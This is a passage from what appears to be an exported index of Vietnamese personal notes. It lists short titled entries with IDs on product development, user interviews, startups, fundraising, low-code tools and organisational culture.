thứ mình muốn có. Sứ mệnh là thứ mình sẽ làm. Sản phẩm là thứ mình tạo ra +• Slug: undefined +• ID: IR +Tầm nhìn là điều mình sẽ có khi tất cả mọi hoạt động của mình đều thành công +• Slug: undefined +• ID: IS +Working on niche, personally-meaningful projects brings weirder, more serendipitous inbounds +• Slug: undefined +• ID: IT +Đổi những câu hỏi chất vấn giả định của một thành quả về dạng khẳng định thì ta sẽ có những thành quả mong muốn thành phần +• Slug: undefined +• ID: IU +❓Một object khi chưa tồn tại mà ta muốn có nó thì nó là objective +• Slug: undefined +• ID: IV +❓Nhu cầu = impact = vấn đề = điểm đau = động lực = lý do bắt đầu +• Slug: undefined +• ID: IW +❓Tại sao không gọi thẳng là kết quả từ sự thay đổi hành vi của người dùng?Dùng thành quả dễ gây nhầm lẫn cho người chưa biết +• Slug: undefined +• ID: IX +❝Mục tiêu❞ và ❝Kết quả❞ là những từ bao trùm +• Slug: undefined +• ID: IY +Chỉ có thể ước lượng được thời gian cần có để hoàn thành khi công việc của ta gần như chỉ gồm công việc khai thác +• Slug: undefined +• ID: IZ +Cây quyết định và PERT dành cho những dự án chủ yếu gồm các công việc khai thác +• Slug: undefined +• ID: Ia +Danh sách công việc chỉ là danh sách chờ. Để một công việc thực sự được tính đến, ta cần để nó vào lịch +• Slug: undefined +• ID: Ib +Gọi sự chú ý là tài nguyên là không chính xác, vì đa phần ta có thể sống thiếu tài nguyên, còn sự chú ý chính là sự sống +• Slug: undefined +• ID: Ic +Lên lịch khối thời gian giúp cân bằng sự quan trọng và khẩn cấp +• Slug: undefined +• ID: Id +Mọi thứ sẽ luôn tốn thời gian hơn bạn nghĩ +• Slug: undefined +• ID: Ie +Nếu bạn nghĩ rằng bạn có thể hoàn thành đúng kế hoạch, có thể bạn đang ngộ nhận +• Slug: undefined +• ID: If +Quản lý công việc là quản lý thời gian +• Slug: undefined +• ID: Ig +Xong hạn chót này thì sẽ tới hạn chót khác +• Slug: undefined +• ID: Ih +Từ thành quả mong muốn nghĩ ra công việc trước dễ hơn nghĩ ra giả định trước +• Slug: undefined +• ID: Ii +Vì tôi không biết làm nên không được giao, nhưng vì không được giao nên càng không biết làm +• Slug: undefined +• ID: Ij +Áp lực giết chết sự sáng tạo +• Slug: undefined +• ID: Ik +Các nhóm làm việc qua mạng ngày càng nhiều +• Slug: undefined +• ID: Il +Các tổ chức thường chỉ lưu trữ kiến thức mà ít khi dành nhiều sự chú ý tới kết nối chúng +• Slug: undefined +• ID: Im +Cấu trúc phân cấp thường cứng nhắc và nhân tạo +• Slug: undefined +• ID: In +Những gì ta viết thì nên được tự động được cấu trúc +• Slug: undefined +• ID: Io +Việc quản lý công việc thường cần một cấu trúc +• Slug: undefined +• ID: Ip +Dữ liệu chính là lập trình +• Slug: undefined +• ID: Iq +Email không được sinh ra để trao đổi thông tin, mà là để làm todo list +• Slug: undefined +• ID: Ir +Ghi chú thì linh hoạt, nhưng tĩnh. App thì cứng nhắc, nhưng động +• Slug: undefined +• ID: Is +CRM tập trung vào tăng sale, ERP tập trung vào cắt giảm chi phí +• Slug: undefined +• ID: It +Dữ liệu dưới dạng văn bản phù hợp cho việc quản lý kiến thức +• Slug: undefined +• ID: Iu +Việc lưu dữ liệu ở các công cụ khác nhau tạo thành các đảo thông tin +• Slug: undefined +• ID: Iv +Đảo thông tin khiến cho những thao tác tự động hoá đơn giản không thể làm được +• Slug: undefined +• ID: Iw +❓Tại sao không cho người chưa biết gì về CNTT học về cơ sở dữ liệu trước thay vì học lập trình trước? +• Slug: undefined +• ID: Ix +Các tiếp thị về low code hàm ý rằng việc code là việc khó nhất trong việc tạo sản phẩm, nhưng thực ra việc thảo luận và lên kế hoạch mới là thứ quan trọng nhất +• Slug: undefined +• ID: Iy +Dùng low code để xây dựng hệ thống là đang mang nợ kỹ thuật vào người +• Slug: undefined +• ID: Iz +Excel dịch chuyển một phần quyền lực của chuyên gia IT vào người sử dụng +• Slug: undefined +• ID: I- +Excel không cho ta quản lý phiên bản được +• Slug: undefined +• ID: I_ +Excel không cản ta làm điều mà ta sẽ hối tiếc +• Slug: undefined +• ID: J0 +Excel không làm ta hiểu về lập trình một cách đúng đắn +• Slug: undefined +• ID: J1 +Excel không phù hợp cho việc lập cơ sở dữ liệu +• Slug: undefined +• ID: J2 +Excel là loài gián trong ngành phần mềm +• Slug: undefined +• ID: J3 +Excel là một ngôn ngữ lập trình mà không làm ta cảm giác là đang lập trình +• Slug: undefined +• ID: J4 +Excel là nguồn ý tưởng cũng như là kẻ thù lớn nhất của các SaaS +• Slug: undefined +• ID: J5 +Excel là người bạn tuổi thơ tuyệt vời, nhưng là kẻ thù của tuổi dậy thì +• Slug: undefined +• ID: J6 +Excel là sản phẩm low code tồn tại lâu dài nhất +• Slug: undefined +• ID: J7 +Excel đã làm một việc phi thường trong việc giáo dục hàng trăm triệu người về sức mạnh của phần mềm +• Slug: undefined +• ID: J8 +File Google Docs không thực sự là file +• Slug: undefined +• ID: J9 +Lập trình viên khó chịu với hệ thống low code không phải vì nó ưu tiên sự tiện lợi và chi phí thấp cho người dùng, mà vì nó được tiếp thị như là một giải pháp hoàn hảo có thể giải quyết được mọi nhu cầu thực tế +• Slug: undefined +• ID: JA +No code, GUI là những cái tên khác nhau cho cùng một thứ +• Slug: undefined +• ID: JB +Sản phẩm no code không thể nào đáp ứng được nhu cầu tuỳ biến cao +• Slug: undefined +• ID: JC +Sản phẩm no code đem đến sự phản hồi tức thời +• Slug: undefined +• ID: JD +Quản lý công việc và quản lý kiến thức không thể tách rời nhau +• Slug: undefined +• ID: JE +Sự khác biệt giữa các ứng dụng quản lý chủ yếu ở nghiệp vụ cần giải quyết chứ không nằm ở yếu tố kỹ thuật +• Slug: undefined +• ID: JF +Ta được hứa hẹn sẽ có những chiếc xe đạp cho tâm trí. Thay vào đó ta lại có máy bay +• Slug: undefined +• ID: JG +An outcome is a change in human behavior that drives business results +• Slug: undefined +• ID: JH +Bởi vì sản phẩm có tính quy hồi và có thể là thành phẩm chung của nhiều sản phẩm lớn hơn, nên để quản lý được nó ta phải biết lập trình +• Slug: undefined +• ID: JI +Chỉ số ta theo đuổi phải là chỉ số về giá trị của sản phẩm đối với người dùng +• Slug: undefined +• ID: JJ +Chỉ theo đuổi một chỉ số là quá đơn giản +• Slug: undefined +• ID: JK +Các chỉ số đo lường thu nhập +• Slug: undefined +• ID: JL +Dựa vào KPI thì bộ phận kinh doanh sẽ có tiếng nói lớn nhất, còn đội phát triển sản phẩm rất ít có tiếng nói +• Slug: undefined +• ID: JM +Khi một phép đo trở thành mục tiêu, nó thường mất đi sự hiệu quả của nó +• Slug: undefined +• ID: JN +NPS trên 50% là đạt được sản phẩm phù hợp thị trường +• Slug: undefined +• ID: JO +Nếu bạn không thể đo lường, bạn không thể cải tiến +• Slug: undefined +• ID: JP +Phân tích quyết định đa tiêu chí (MCDA) là phương pháp để tìm điểm đánh đổi tối ưu nhất +• Slug: undefined +• ID: JQ +Chỉ nên nghĩ về viral khi đã có một lượng người thực sự sử dụng sản phẩm của mình +• Slug: undefined +• ID: JR +Tăng trưởng của thị trường quan trọng hơn tăng trưởng doanh số +• Slug: undefined +• ID: JS +Tăng trưởng là khoảng cách giữa chuyển đổi và rời bỏ +• Slug: undefined +• ID: JT +Tỉ lệ quay lại là thứ quan trọng nhất trong tăng trưởng +• Slug: undefined +• ID: JU +Đừng dùng chỉ số sao bắc cực, hãy dùng chỉ số hải đăng +• Slug: undefined +• ID: JV +❓Kết quả cuối cùng của MCDA có khác gì với tiền +• Slug: undefined +• ID: JW +❓Thứ quan trọng nhất là tìm được sản phẩm phù hợp thị trường. Tất cả những thứ khác đều không quan trọng bằng +• Slug: undefined +• ID: JX +Các công ty không quan tâm đến tính năng chuyên biệt +• Slug: undefined +• ID: JY +Có thêm nhân viên không làm sản phẩm phù hợp với thị trường hơn +• Slug: undefined +• ID: JZ +Design thinking bắt đầu từ một đề bài. Nhưng đề bài được ra thế nào thì không nói +• Slug: undefined +• ID: Ja +Insight trong phát triển sản phẩm gắn liền với việc thay đổi hành vi người dùng +• Slug: undefined +• ID: Jb +Khi app có nhiều tính năng thì sẽ không biết một người dùng không vào là vì họ không tìm thấy tính năng họ cần hay là vì họ không biết app có tính năng họ cần +• Slug: undefined +• ID: Jc +Có quá nhiều điều cần kiểm chứng nhưng dù muốn đi tìm cũng không ai chịu dành thời gian để trả lời +• Slug: undefined +• ID: Jd +Giả định có mặt ở khắp nơi +• Slug: undefined +• ID: Je +Hãy liệt kê những niềm tin trước khi phỏng vấn +• Slug: undefined +• ID: Jf +Hệ thống giả thiết ban đầu dễ khiến ta bỏ qua việc kiểm chứng niềm tin, hoặc kiểm chứng bằng những câu hỏi định hướng +• Slug: undefined +• ID: Jg +Sử dụng nhiều phương pháp khác nhau để kiểm tra giả thuyết sẽ tránh thiên kiến tốt hơn là dùng một phương pháp nhiều lần +• Slug: undefined +• ID: Jh +Việc kiểm định giả thuyết thường bị bỏ qua khi có quá nhiều việc +• Slug: undefined +• ID: Ji +Để có thể thiết kế một giải pháp một cách nhanh chóng và tự tin, ta cần được thử nghiệm ý tưởng mới và kiểm tra giả thiết ngay khi chúng vừa được nghĩ ra +• Slug: undefined +• ID: Jj +Đừng chạy theo tính năng, mà hãy xác định vấn đề cần ưu tiên giải quyết và nhanh chóng kiểm tra các giả thuyết +• Slug: undefined +• ID: Jk +Làm sản phẩm thiên về cảm giác, làm tăng trưởng thiên về dữ liệu +• Slug: undefined +• ID: Jl +Mô hình xoắn ốc nhấn mạnh vào phân tích rủi ro +• Slug: undefined +• ID: Jm +1 nghiên cứu 20 ngày khác với 4 nghiên cứu 5 ngày +• Slug: undefined +• ID: Jn +Biểu đồ cánh hoa phù hợp cho việc phân tích bối cảnh cạnh tranh ở một thị trường mới hoặc resegmented markets +• Slug: undefined +• ID: Jo +Biểu đồ cạnh tranh giúp ta có được những giả định đầu tiên về những khách hàng đầu tiên của chúng ta +• Slug: undefined +• ID: Jp +Biểu đồ cạnh tranh XY phù hợp cho việc phân tích bối cảnh cạnh tranh trên một thị trường đã có sẵn +• Slug: undefined +• ID: Jq +Các mạng xã hội có những báo cáo về xu hướng của người dùng nền tảng của họ +• Slug: undefined +• ID: Jr +Tổng hợp các cách biểu diễn các bên liên quan +• Slug: undefined +• ID: Js +Các nghiên cứu có thể có cùng một mục tiêu nghiên cứu, nhưng khác nhau về câu hỏi nghiên cứu +• Slug: undefined +• ID: Jt +Giai đoạn lên ý tưởng thường khó khăn +• Slug: undefined +• ID: Ju +Idea là một cái gì đó để thử, còn insight là kết quả của sự thử +• Slug: undefined +• ID: Jv +Knowns and unknowns +• Slug: undefined +• ID: Jw +Ai cũng có một kế hoạch cho tới khi bị đấm vào mồm +• Slug: undefined +• ID: Jx +Những thứ không quan trọng có thể tự xử lý lẫn nhau +• Slug: undefined +• ID: Jy +Nên ưu tiên làm những việc có thể sẽ khiến ta phải viết lại kế hoạch +• Slug: undefined +• ID: Jz +Sự ghi chú tạm để để sau thôi cũng có khi tốn vài tiếng +• Slug: undefined +• ID: J- +Việc bàn kế hoạch sẽ có nhiều chủ đề đâm ngang mà cũng phải bàn cho rốt ráo +• Slug: undefined +• ID: J_ +Việc lập kế hoạch là để giảm những hệ quả không lường trước được và tạo ra được sự bền vững dài hạn +• Slug: undefined +• ID: K0 +Việc ưu tiên ra quyết định nhanh làm ta thấy thảo luận và dành thời gian xây dựng kế hoạch và nghiên cứu là phí thời gian +• Slug: undefined +• ID: K1 +Để không bị đối thủ đấm vào mồm mà còn đấm được vào mồm hắn thì phải lên kế hoạch +• Slug: undefined +• ID: K2 +Mô hình kinh doanh và định giá +• Slug: undefined +• ID: K3 +Nghiên cứu, tìm ý tưởng +• Slug: undefined +• ID: K4 +Dữ liệu cho dự đoán tin cậy về hành vi người dùng +• Slug: undefined +• ID: K5 +Dữ liệu cho ta biết hành vi của một người, nhưng không nói lý do họ làm điều đó +• Slug: undefined +• ID: K6 +Có 4 loại câu hỏi: đặc điểm, thái độ, lòng tin, hành vi +• Slug: undefined +• ID: K7 +Khảo sát thường được dùng để kiểm chứng các phát hiện quan trọng có được từ phỏng vấn trên quy mô lớn +• Slug: undefined +• ID: K8 +Khảo sát tốt nhất là chỉ có một câu. Người chịu khó trả lời câu hỏi mở thường là người đã quý mến mình sẵn rồi +• Slug: undefined +• ID: K9 +Khảo sát định lượng chỉ có tính chính xác tương đối +• Slug: undefined +• ID: KA +Vì câu hỏi nghiên cứu thường là câu hỏi mở, nên ta cần chuyển thành câu hỏi định lượng được +• Slug: undefined +• ID: KB +Các câu chuyện mà người dùng kể được lấp đầy bởi khoảng trống mà họ kỳ vọng vào thế giới +• Slug: undefined +• ID: KC +Persona tuy tạo sự đồng cảm với người làm sản phẩm, nhưng lại chứa quá nhiều giả định +• Slug: undefined +• ID: KD +Segmentation là một nhóm user, còn persona thường là một chân dung có tính đại diện của nhóm đó +• Slug: undefined +• ID: KE +Đừng dùng câu chuyện người dùng (user story), mà hãy dùng câu chuyện công việc (job story) +• Slug: undefined +• ID: KF +❓Persona khác gì với segmentation +• Slug: undefined +• ID: KG +❓Persona là exemplar của segmentation +• Slug: undefined +• ID: KH +5 người dùng đầu tiên phát hiện 85% vấn đề ở sản phẩm +• Slug: undefined +• ID: KI +Người dùng dịch vụ của mình thường phản hồi những thứ họ chấp nhận được. Người dùng dịch vụ của đối thủ thường phản hồi những thứ họ không chấp nhận được +• Slug: undefined +• ID: KJ +Người thích mình thường có nhu cầu khác về sản phẩm so với người không thích mình +• Slug: undefined +• ID: KK +Nên phỏng vấn cả những người không nằm trong nhóm đối tượng mục tiêu của mình +• Slug: undefined +• ID: KL +Nên phỏng vấn một tập người dùng nhiều lần, nhưng không nên một người nhiều lần +• Slug: undefined +• ID: KM +Việc chọn đối tượng phỏng vấn phụ thuộc vào việc giả định của mình liên quan đến hành vi nào +• Slug: undefined +• ID: KN +Con người không muốn mâu thuẫn với những điều mình nói ra +• Slug: undefined +• ID: KO +Con người nhiều khi không nói dối mà chỉ đang lý tưởng hoá bản thân +• Slug: undefined +• ID: KP +Người có nhu cầu thường để lại ấn tượng nhiều, nhưng số lượng không nhiều trong thị trường +• Slug: undefined +• ID: KQ +Người dùng nói thích một tính năng không có nghĩa là họ sẽ bỏ những sản phẩm khác để đến với tính năng của mình +• Slug: undefined +• ID: KR +Người dùng thường không nói không với những tính năng mới +• Slug: undefined +• ID: KS +Sự tiêu cực của người dùng là cơ hội làm dự án +• Slug: undefined +• ID: KT +Hãy hỏi người dùng họ cần sản phẩm này để giải quyết việc gì +• Slug: undefined +• ID: KU +Insight sẽ thường ra ngay lúc phỏng vấn +• Slug: undefined +• ID: KV +Khi phỏng vấn hãy hỏi cả về hành vi, đừng chỉ hỏi về lý do họ làm điều đó +• Slug: undefined +• ID: KW +Kết quả phỏng vấn phải actionable +• Slug: undefined +• ID: KX +Một số ví dụ về mục tiêu nghiên cứu +• Slug: undefined +• ID: KY +Nghiên cứu người dùng không nên là một bước, mà nên là một hoạt động diễn ra liên tục +• Slug: undefined +• ID: KZ +Nếu có thể phỏng vấn liên tục thì không gặp phải áp lực hỏi quá nhiều +• Slug: undefined +• ID: Ka +Phần lớn các câu hỏi nghiên cứu không thể sử dụng để hỏi trực tiếp +• Slug: undefined +• ID: Kb +Phỏng vấn là để hiểu vấn đề người dùng gặp phải, không phải để cải thiện giải pháp +• Slug: undefined +• ID: Kc +Phỏng vấn người dùng nên được diễn ra liên tục, tốt nhất là hàng tuần. Khảo sát thì không nên nhiều, mỗi quý một lần là được +• Slug: undefined +• ID: Kd +Phỏng vấn phù hợp để hiểu lý do cho một hành vi của một người +• Slug: undefined +• ID: Ke +Phỏng vấn phù hợp để đánh giá cách tiếp nhận hay thái độ +• Slug: undefined +• ID: Kf +Phỏng vấn thường kém chính xác trong việc dự đoán các hành vi tương lai của người dùng +• Slug: undefined +• ID: Kg +Phỏng vấn +• Slug: undefined +• ID: Kh +Trong nhiều trường hợp, kết quả phỏng vấn bị rơi vào quên lãng +• Slug: undefined +• ID: Ki +Trả tiền cho người phỏng vấn sẽ khiến họ làm việc chuyên nghiệp +• Slug: undefined +• ID: Kj +Tìm hiểu vào bối cảnh, không chỉ hành vi đơn lẻ +• Slug: undefined +• ID: Kk +Việc phỏng vấn làm ta mệt và muốn nghỉ ngơi, nhưng ta vẫn phải tiếp tục làm +• Slug: undefined +• ID: Kl +❓Có nên phỏng vấn một người nhiều lần để vét cạn suy nghĩ của họ về các giả thiết của mình +• Slug: undefined +• ID: Km +❓Có nên yêu cầu người tham gia phỏng vấn phải đọc trước cái gì không +• Slug: undefined +• ID: Kn +❓Có nên đưa câu hỏi trước cho người tham gia phỏng vấn biết trước không. Có nên cho họ coi kết quả ghi chú của mình không +• Slug: undefined +• ID: Ko +❓Làm sao để cho họ tiếp tục nói hết ý của mình khi mà họ không có nhiều thời gian cho mình, và mình cũng không có nhiều tiền để trả họ +• Slug: undefined +• ID: Kp +❓Người dùng thấy không hiểu ý đồ của mình và giải thích nhiều vì nghĩ là mình không hiểu +• Slug: undefined +• ID: Kq +Sự miễn phí chỉ có ích khi ta cần phản hồi của người dùng, hoặc khi nền tảng của ta cần hiệu ứng mạng +• Slug: undefined +• ID: Kr +❓Với những người mà mình biết sẽ có cố gắng tìm hiểu mình, mình nên tiếp tục cho họ thấy mình có những thứ họ cần, hay là cho họ thấy mình là như thế nào +• Slug: undefined +• ID: Ks +Người giúp đỡ sẽ khó có động lực giúp nếu không thấy ý tưởng mình rõ ràng +• Slug: undefined +• ID: Kt +Những câu hỏi đánh giá tác động đòi hỏi phải nghiên cứu sâu +• Slug: undefined +• ID: Ku +Phân loại người dùng khi phát triển sản phẩm khác với phân khúc khách hàng +• Slug: undefined +• ID: Kv +Ý tưởng với hiểu biết sâu đều là giả thiết +• Slug: undefined +• ID: Kw +❓Hiểu biết sâu thông qua việc bắt tay vào làm, hay hiểu biết sâu thông qua việc nghiên cứu +• Slug: undefined +• ID: Kx +❓Khảo sát để lọc ứng viên phỏng vấn khác gì khảo sát để xác nhận phát hiện mới từ phỏng vấn trên quy mô lớn +• Slug: undefined +• ID: Ky +Ngôn ngữ của người dùng và ngôn ngữ của người cung cấp giải pháp có thể khác nhau +• Slug: undefined +• ID: Kz +Người dùng hài lòng với chất lượng sản phẩm, không phải tốc độ làm ra nó +• Slug: undefined +• ID: K- +Người dùng yêu cầu tính năng không có nghĩa là họ sẽ dùng +• Slug: undefined +• ID: K_ +Những người viết phần mềm vì cả nhu cầu của mình và người giống mình +• Slug: undefined +• ID: L0 +Phát triển sản phẩm +• Slug: undefined +• ID: L1 +Phân loại người dùng khi phát triển sản phẩm khác với phân khúc khách hàng +• Slug: undefined +• ID: L2 +Khoảng 20% người mở tab lên là tắt ngay hoặc để đó không đọc +• Slug: undefined +• ID: L3 +Người muốn có giải pháp sẽ muốn đọc nội dung dài +• Slug: undefined +• ID: L4 +Người đã biết xài công nghệ sẽ muốn tiết kiệm thời gian +• Slug: undefined +• ID: L5 +Những tính năng khác của app hấp dẫn hơn tốc độ app, trừ phi nó quá chậm +• Slug: undefined +• ID: L6 +Trong số những người chịu đọc, về trung bình họ dành ra 25 s đầu để hiểu giao diện, các tính năng khác và hình ảnh. Sau đó cứ 100 chữ thì đọc thêm 4.4 s, cỡ 18 chữ +• Slug: undefined +• ID: L7 +Sản phẩm ra mắt 10 năm rồi cũng có thể không biết gì về người dùng +• Slug: undefined +• ID: L8 +Việc làm sản phẩm thì muốn làm thật ít chức năng càng tốt. Việc viết phần mềm đòi hỏi nên lên kế hoạch các chức năng kỹ càng +• Slug: undefined +• ID: L9 +Đặc điểm của quy trình phát triển sản phẩm truyền thống là bước nghiên cứu xem ý tưởng có đúng không luôn đến sau việc nghĩ ra được ý tưởng đó trước +• Slug: undefined +• ID: LA +❓Có nên làm tiếp thị khi mình chưa làm nghiên cứu người dùng không +• Slug: undefined +• ID: LB +❓Thu thập kinh nghiệm từ các blog cũng là xây dựng sản phẩm +• Slug: undefined +• ID: LC +❓Tung ra quá sớm sẽ dễ bị thị trường chi phối ngược lại +• Slug: undefined +• ID: LD +❓Với một sản phẩm demo còn nhiều lỗi vặt thì có cần phải hoàn thiện những lỗi vặt đó trước khi hỏi ý kiến khách hàng không? +• Slug: undefined +• ID: LE +Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức +• Slug: undefined +• ID: LF +Người đã muốn tiết kiệm thời gian sẽ chấp nhận trả phí +• Slug: undefined +• ID: LG +Nhiều người thấy việc không thu phí thì chỉ làm cho vui, dễ bug +• Slug: undefined +• ID: LH +Crowdfunding depends on highly visible public work +• Slug: undefined +• ID: LI +Funder-exclusive writing should be a secondary by-product of primary work +• Slug: undefined +• ID: LJ +Getting Paid for Open Source Work +• Slug: undefined +• ID: LK +Lý do thường gặp nhất của những người ủng hộ trên Patreon là để sản phẩm mà tác giả đang làm hoàn thành sớm hơn, hơn là để cảm ơn những gì họ đã làm +• Slug: undefined +• ID: LL +Patreon không được thiết kế để có được sự tương tác trực tiếp với người ủng hộ +• Slug: undefined +• ID: LM +Patreon quảng cáo theo ngôn ngữ của kinh tế quà tặng, nhưng cách vận hành lại theo kinh tế thị trường +• Slug: undefined +• ID: LN +Patreon vận hành gần giống như một cuộc mua bán hơn là hoàn toàn ủng hộ +• Slug: undefined +• ID: LO +Nhà đầu tư tìm kiếm tiền trong vụ đầu tư +• Slug: undefined +• ID: LP +Nhà đầu tư tốt nhất đầu tư vào những startup chưa có câu chuyện thuyết phục, vì khi đã có câu chuyện thuyết phục rồi thì startup có giá đắt hơn +• Slug: undefined +• ID: LQ +Nhà đầu tư đầu tư vào việc kinh doanh, không phải ý tưởng +• Slug: undefined +• ID: LR +Nếu không thế nói về thành tựu của mình thì hãy nói về tốc độ của mình +• Slug: undefined +• ID: LS +Thiên thần dùng tiền của bản thân. VC dùng tiền của người khác +• Slug: undefined +• ID: LT +Thứ quan trọng không phải là ý tưởng, mà là người có ý tưởng +• Slug: undefined +• ID: LU +Thứ quyết định hiệu quả của việc kinh doanh là văn hoá doanh nghiệp và phản ứng của thị trường về mình +• Slug: undefined +• ID: LV +Để gọi vốn thì rất cần nắm chắc những con số +• Slug: undefined +• ID: LW +Định giá +• Slug: undefined +• ID: LX +Hãy nhắm còn đủ tiền cho khoảng 20 đến 30 lần thất bại +• Slug: undefined +• ID: LY +Không thể làm dự báo tài chính dài hạn khi chỉ mới có một vài người dùng +• Slug: undefined +• ID: LZ +Người cho tiền thấy mình đáng được cho tiền nhất khi không thấy mình cần tiền +• Slug: undefined +• ID: La +Nhà đầu tư đầu tư vào bạn và vào câu chuyện của startup +• Slug: undefined +• ID: Lb +Quỹ, gọi vốn +• Slug: undefined +• ID: Lc +Trước khi gây quỹ cần biết mục tiêu của mình là gì +• Slug: undefined +• ID: Ld +Hãy loại bỏ quyền lợi truyền thông tài trợ ra khỏi tài liệu mời tài trợ +• Slug: undefined +• ID: Le +Tài trợ từ doanh nghiệp, CSR +• Slug: undefined +• ID: Lf +Ít có doanh nghiệp nào làm CSR mà thực sự đặt vấn đề phát triển cộng đồng lên hàng đầu +• Slug: undefined +• ID: Lg +Việc thuê ngoài chỉ giải quyết được một lần, trong khi phải thử rất nhiều lần +• Slug: undefined +• ID: Lh +30% of the pivotal papers from Nobel laureates in medicine, physics and chemistry was done without direct funding +• Slug: undefined +• ID: Li +Kinh nghiệm gây quỹ cho dự án nghiên cứu độc lập +• Slug: undefined +• ID: Lj +Làm thứ một số người rất cần quan trọng hơn là làm thứ nhiều người thấy hay +• Slug: undefined +• ID: Lk +Chiếm lĩnh thị trường nhỏ trước +• Slug: undefined +• ID: Ll +Hiểu về quản trị chỉ cần thiết khi đã có thành công bước đầu. Trước đó thì hãy chỉ tập trung vào sản phẩm +• Slug: undefined +• ID: Lm +Không có giải pháp nào cho người sáng lập để giải quyết sự quá tải ngoài những lời khuyên chung chung +• Slug: undefined +• ID: Ln +Làm người sáng lập có hại cho việc cân bằng cuộc sống +• Slug: undefined +• ID: Lo +Làm thứ phức tạp hơn thì dễ, làm thứ tốt hơn thì khó +• Slug: undefined +• ID: Lp +Nhà đầu tư không ăn cắp ý tưởng vì phải cạnh tranh với các nhà đầu tư khác +• Slug: undefined +• ID: Lq +Những dự án ngoài lề thường là ý tưởng tốt cho startup. Những ý tưởng chỉ để có một startup lại thường không tốt +• Slug: undefined +• ID: Lr +Quá trình chú ý và ghi nhớ ép ta phải đơn giản +• Slug: undefined +• ID: Ls +Startup = tăng trưởng +• Slug: undefined +• ID: Lt +Startup giải quyết những vấn đề nghe thì tồi +• Slug: undefined +• ID: Lu +Sự đơn giản ép ta phải làm nó cực kỳ tốt +• Slug: undefined +• ID: Lv +Việc kể ý tưởng startup ra thường không phải là nguy hiểm, vì không ai cạnh tranh với ý tưởng tồi +• Slug: undefined +• ID: Lw +Ý tưởng startup lớn thách thức căn tính của bạn +• Slug: undefined +• ID: Lx +Đa số startup không chết vì cạnh tranh với đối thủ, mà vì không có người dùng sản phẩm của mình +• Slug: undefined +• ID: Ly +Đừng nhìn vào đối thủ cạnh tranh, mà hãy nhìn vào người dùng +• Slug: undefined +• ID: Lz +Thành lập dự án +• Slug: undefined +• ID: L- +Trực giác về con người thường đúng. Trực giác về cách startup hoạt động thường sai +• Slug: undefined +• ID: L_ +Gốc của thương hiệu là văn hoá doanh nghiệp +• Slug: undefined +• ID: M0 +Không nên có quá 20 nhân sự khi chưa có sản phẩm phù hợp thị trường +• Slug: undefined +• ID: M1 +Bội thực chat nhóm gây phân tán nguồn lực, mất tập trung, tăng rủi ro lộ dữ liệu +• Slug: undefined +• ID: M2 +Có sự đánh đổi giữa quá tải thông tin và cập nhật thông tin kịp thời +• Slug: undefined +• ID: M3 +Việc muốn các thành viên sử dụng Discord thay cho Facebook hay Zalo thường khó khăn +• Slug: undefined +• ID: M4 +Người người vạch chiến lược hay nhiều khi được giao triển khai luôn, hoặc người làm chuyên môn tốt nhiều khi được đề bạt lên làm quản lý, lãnh đạo +• Slug: undefined +• ID: M5 +Người vượt qua khủng hoảng có câu chuyện hấp dẫn hơn người tránh được khủng hoảng ngay từ đầu +• Slug: undefined +• ID: M6 +Vị trí càng cao trong tổ chức thì đề xuất càng dễ bị cấp dưới hiểu thành yêu cầu phải làm +• Slug: undefined +• ID: M7 +Sociocracy +• Slug: undefined +• ID: M8 +Thảo luận có tính xây dựng là để tìm kiếm sự hiểu nhau, không phải để tìm kiếm sự đồng ý +• Slug: undefined +• ID: M9 +Việc có quá nhiều ý kiến làm ta thấy loạn +• Slug: undefined +• ID: MA +Đa số những lúc cần phải ra quyết định thì đều có nhiều áp lực +• Slug: undefined +• ID: MB +Có nhiều người đăng ký tham gia nhưng chỉ để thoả mãn sự tò mò +• Slug: undefined +• ID: MC +Không cần kiếm thêm nhân sự khi không thấy quá nhiều việc +• Slug: undefined +• ID: MD +Tìm được người cùng muốn làm chung với mình và đủ rảnh là rất khó +• Slug: undefined +• ID: ME +Từng làm chung với nhau trước khi tuyển dụng sẽ tốt hơn là phỏng vấn +• Slug: undefined +• ID: MF +Có một quy trình đánh giá năng lực định kỳ sẽ làm giảm vấn đề khi tăng lương hoặc đuổi việc nhân viên +• Slug: undefined +• ID: MG +Một nhóm đáng tin là nhóm mà các thành viên có thể nói lên sai lầm của mình +• Slug: undefined +• ID: MH +Nhìn thấy được người kia đang làm gì làm tăng sự tin tưởng đối với họ +• Slug: undefined +• ID: MI +Văn hoá tổ chức là những giá trị, niềm tin và hành động của mỗi thành viên giúp đóng góp cho sứ mạng của nó +• Slug: undefined +• ID: MJ +Chuyển giao tri thức rất khó khăn +• Slug: undefined +• ID: MK +Nếu thất bại nhanh hơn thì sẽ học nhanh hơn +• Slug: undefined +• ID: ML +Tổ chức nào học nhanh hơn đối thủ thì sẽ có lợi thế cạnh tranh lớn hơn +• Slug: undefined +• ID: MM +Văn hoá giao tiếp low-context thường có ở tổ chức phẳng. Văn hoá giao tiếp high-context thường có ở tổ chức phân cấp +• Slug: undefined +• ID: MN +❓Thành viên nòng cốt là người chịu trách nhiệm lớn nhất hay là người có nhiều đóng góp nhất +• Slug: undefined +• ID: MO +❓Học qua dự án hay học bài bản +• Slug: undefined +• ID: MP +Chú ý +• Slug: undefined +• ID: MQ +Cân bằng +• Slug: undefined +• ID: MR +Công cụ +• Slug: undefined +• ID: MS +Game hoá +• Slug: undefined +• ID: MT +Học +• Slug: undefined +• ID: MU +Hỏi +• Slug: undefined +• ID: MV +Chuyên gia +• Slug: undefined +• ID: MW +Chuyên nghiệp +• Slug: undefined +• ID: MX +Cạnh tranh +• Slug: undefined +• ID: MY +Giá cả +• Slug: undefined +• ID: MZ +Tiền +• Slug: undefined +• ID: Ma +Đầu tư +• Slug: undefined +• ID: Mb +Bản đồ +• Slug: undefined +• ID: Mc +Cấu trúc +• Slug: undefined +• ID: Md +Diễn giải, đọc +• Slug: undefined +• ID: Me +Gánh nặng nhận thức +• Slug: undefined +• ID: Mf +Insight +• Slug: undefined +• ID: Mg +Không gian +• Slug: undefined +• ID: Mh +Lập luận +• Slug: undefined +• ID: Mi +Mental modal +• Slug: undefined +• ID: Mj +Mẫu hình (pattern) +• Slug: undefined +• ID: Mk +Ngôn ngữ +• Slug: undefined +• ID: Ml +Nhận thức +• Slug: undefined +• ID: Mm +Não +• Slug: undefined +• ID: Mn +Phân loại +• Slug: undefined +• ID: Mo +Trải nghiệm +• Slug: undefined +• ID: Mp +Trực giác +• Slug: undefined +• ID: Mq +Văn bản +• Slug: undefined +• ID: Mr +Vật thể +• Slug: undefined +• ID: Ms +Ý tưởng +• Slug: undefined +• ID: Mt +Đánh đổi +• Slug: 